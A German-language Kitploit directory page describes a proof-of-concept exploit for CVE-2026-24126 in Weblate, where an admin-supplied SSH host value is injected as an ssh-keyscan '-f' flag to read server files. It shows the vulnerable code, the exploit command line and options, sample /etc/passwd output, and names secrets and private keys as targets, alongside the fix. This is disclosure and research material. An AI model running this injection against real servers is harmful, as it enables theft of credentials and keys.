Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/alexb616/weblate-cve-2026-24126
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungRed Teaming
GitHubalexb616/weblate-cve-2026-24126

Weblate-CVE-2026-24126

Proof-of-Concept-Exploit für CVE-2026-24126, ein beliebiges Dateilesen in Weblate über SSH-Host-Argument-Injection, das authentifizierten Administratoren das Lesen von Serverdateien ermöglicht.

Repository anzeigen
1vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Weblate — Beliebiger Dateizugriff durch SSH-Host-Argument-Injection

Entdeckt von: Alejandro Baño · Januar 2026 Bestätigt durch: Weblate 5.16 Versionshinweise


Übersicht

Der SSH-Host-Key-Verwaltungsendpunkt von Weblate übergibt den von einem authentifizierten Administrator bereitgestellten host-Parameter direkt an ssh-keyscan, ohne jegliche Bereinigung oder Argumentvalidierung. Da ssh-keyscan ein -f <datei>-Flag akzeptiert, um Zielhostnamen aus einer Datei zu lesen, kann ein Angreifer mit Admin-Anmeldedaten dieses Flag als Host-Wert injizieren und den Server zwingen, eine beliebige lokale Datei zu öffnen. Die daraus resultierende Fehlerausgabe (oder Standardausgabe) wird unverändert im Browser innerhalb eines Fehlermeldungsblocks angezeigt, wodurch der Dateiinhalt preisgegeben wird.


Schwachstellendetails

FeldWert
ZielWeblate (selbst gehostete Instanzen)
KomponenteSSH-Key-Verwaltung — weblate/ssh/views.py · add_host_key()
Erforderliche AuthentifizierungJa — Weblate-Administratorkonto
Betroffene VersionenAlle Versionen ≤ 5.15.2 (getestet in 5.0.2 und 5.15.2)
AuswirkungBeliebiger lokaler Dateizugriff als Webserver-Prozessbenutzer (weblate, www-data usw.)
CVSS v3CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L
CVECVE-2026-24126

Ursache

root@kitploit:~
# weblate/ssh/views.py  — vereinfacht
def add_host_key(request, host, port=""):
    cmdline = ["ssh-keyscan"]
    if port:
        cmdline.extend(["-p", str(port)])
    cmdline.append(host)          # ← host wird ohne Validierung angehängt
    result = subprocess.run(cmdline, ...)

Der host-Wert stammt direkt aus dem POST-Body-Feld host ohne Whitelist, ohne Entfernen führender Bindestriche und ohne ---Argument-Terminator vor dem benutzerdefinierten Wert. Dadurch kann ein Angreifer jedes beliebige ssh-keyscan-Flag injizieren.

ssh-keyscan -f /etc/passwd liest /etc/passwd als Liste von Hostnamen, kann jede Zeile nicht auflösen und erzeugt für jede Zeile eine Fehlerausgabe. Diese Fehlerausgabe wird über den CalledProcessError-Handler weitergegeben und in einem alert-danger-Block in der HTTP-Antwort angezeigt.


Proof of Concept

root@kitploit:~
python3 exploit.py -r https://target.example.com -u admin -p admin123 -f /etc/passwd

Optionen

FlagBeschreibung
-r / --rhostBasis-URL der Weblate-Instanz
-u / --usernameAdmin-Benutzername
-p / --passwordAdmin-Passwort
-f / --filePfad zur Datei, die auf dem Server gelesen werden soll

Beispielausgabe

root@kitploit:~
python3 CVE-2026-24126.py -r http://localhost -u admin -p 'ChangeThisToAStrongPassword' -f /etc/passwd

[+] Login erfolgreich für Benutzer: admin
[*] Sende Payload an http://localhost/manage/ssh/, dies kann einige Zeit dauern, bitte geduldig sein...

[+] Extrahierter Dateiinhalt:
--------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
weblate:x:1000:1000::/home/weblate:/bin/sh
--------------------------------------------------
[!] Exploit abgeschlossen

Auswirkung

Jede Datei, die für den OS-Benutzer lesbar ist, unter dem Weblate läuft (typischerweise der weblate-Benutzer), kann über eine einzige authentifizierte POST-Anfrage exfiltriert werden. Sensible Ziele umfassen:

  • Anwendungsgeheimnisse: settings.py, .env, local_settings.py
  • Private SSH-Schlüssel: /var/lib/weblate/.ssh/id_rsa
  • Datenbank-Anmeldedaten, die in Konfigurationsdateien offengelegt werden

Behebung

Aktualisieren Sie auf Weblate 5.16.0 oder höher. Dies ist der offizielle Fix, der vom Weblate-Team am 18. Februar 2026 veröffentlicht wurde und eine ordnungsgemäße Eingabevalidierung für das SSH-Host-Feld einführte.

Haftungsausschluss

Dieses Repository ist ausschließlich für Bildungs- und autorisierte Sicherheitsforschung gedacht. Verwenden Sie dieses Tool nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben. Der Autor übernimmt keine Haftung für Missbrauch.

Tool herunterladen